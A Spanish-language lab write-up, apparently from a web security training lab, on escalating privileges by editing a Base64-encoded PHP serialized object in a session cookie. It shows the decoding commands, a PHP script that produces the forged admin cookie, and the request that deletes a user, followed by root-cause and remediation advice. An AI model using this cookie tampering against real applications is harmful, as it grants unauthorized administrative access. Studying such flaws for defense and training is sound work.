Modifying serialized objects
Escalada de privilegios por modificación de un objeto PHP serializado en la cookie de sesión: voltear el flag admin de b:0 a b:1 concede acceso administrativo.
Target Overview & Vulnerability Summary
El lab usa un mecanismo de sesión basado en serialización: la cookie session contiene un objeto PHP serializado (URL-encoded + Base64). El objeto expone un campo admin booleano. Editando el objeto serializado —cambiando b:0 por b:1— se obtienen privilegios de administrador y se elimina al usuario carlos.
| Campo | Valor |
|---|---|
| Severidad | Alta (escalada de privilegios por manipulación de objeto serializado) |
| Endpoint vulnerable | Cookie de sesión (objeto PHP serializado) |
| Root cause | Mecanismo de sesión basado en deserialización de datos atacables sin firma ni autenticidad |
Credenciales del laboratorio: wiener:peter.
Technical Breakdown & Exploitation Flow
1. Análisis de la cookie de sesión
Tras iniciar sesión, el header Set-Cookie entrega un valor que contiene una cadena URL-encoded (termina en %30) y, al decodificarla, Base64 (termina en =):
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30=
Decodificación:
echo -n 'Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30=' | base64 -d
Resultado:
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}
2. Desglose del objeto serializado
O:4:"User"— objeto de la claseUsercon nombre de longitud 4.:2:— dos atributos.s:8:"username";s:6:"wiener"— atributousername(8 chars) con valorwiener(6 chars).s:5:"admin";b:0— atributoadmin(5 chars) con valor booleanofalse.
El campo admin en false es la palanca de la escalada.
3. Modificación y re-serialización
Script PHP para manipular y verificar el objeto:
<?php
$deserializedObject = 'O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}';
$serializedObject = unserialize($deserializedObject);
echo "[+] Serialized: \n";
var_dump($serializedObject);
echo "[+] Base64 encoded: \n" . base64_encode($deserializedObject);
?>
Salida:
[+] Serialized:
object(__PHP_Incomplete_Class)#1 (3) {
["__PHP_Incomplete_Class_Name"]=>
string(4) "User"
["username"]=>
string(6) "wiener"
["admin"]=>
bool(true)
}
[+] Base64 encoded:
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=
4. Entrega del objeto modificado
- Reemplazar el payload de la cookie
sessionpor la cadena Base64 modificada (conadmin;b:1), aplicando URL-encoding si el backend lo exige. - Cargar una página administrativa (p. ej.
/admin) con la cookie adulterada. - Con la sesión elevada, eliminar al usuario
carlos(p. ej.GET /admin/delete?username=carlos).
Root Cause Analysis
El fallo es confiar en un objeto serializado en la cookie de sesión para decisiones de autorización, sin ninguna garantía de integridad/autenticidad. El objeto es descifrable y editable por el cliente (Base64 no es cifrado), y el servidor no firma ni valida HMAC antes de deserializar. Un campo booleano admin decidido por el cliente convierte la escalada en un cambio de un bit.
Secure Remediation
- No almacenar datos sensibles ni decisiones de autorización en la cookie. Mantener el estado de sesión server-side (identificador opaco aleatorio) y consultar el rol en cada request:
session_start();
// solo el session_id opaco viaja en la cookie
// el rol se resuelve desde la base de datos/sesión server-side
if ($_SESSION['user']->admin === true) { /* admin */ }
- Si el objeto debe viajar al cliente (memcached distribuido, por ejemplo), firmarlo con HMAC usando una clave server-side secreta y verificar la firma antes de
unserialize. - Nunca usar
unserializesobre input del usuario; en su lugar usarjson_decodesi el formato es JSON, que no instancia clases arbitrarias (gadget chains). - Restringir el acceso a
/adminpor autorización server-side (rol), no por el contenido de la cookie.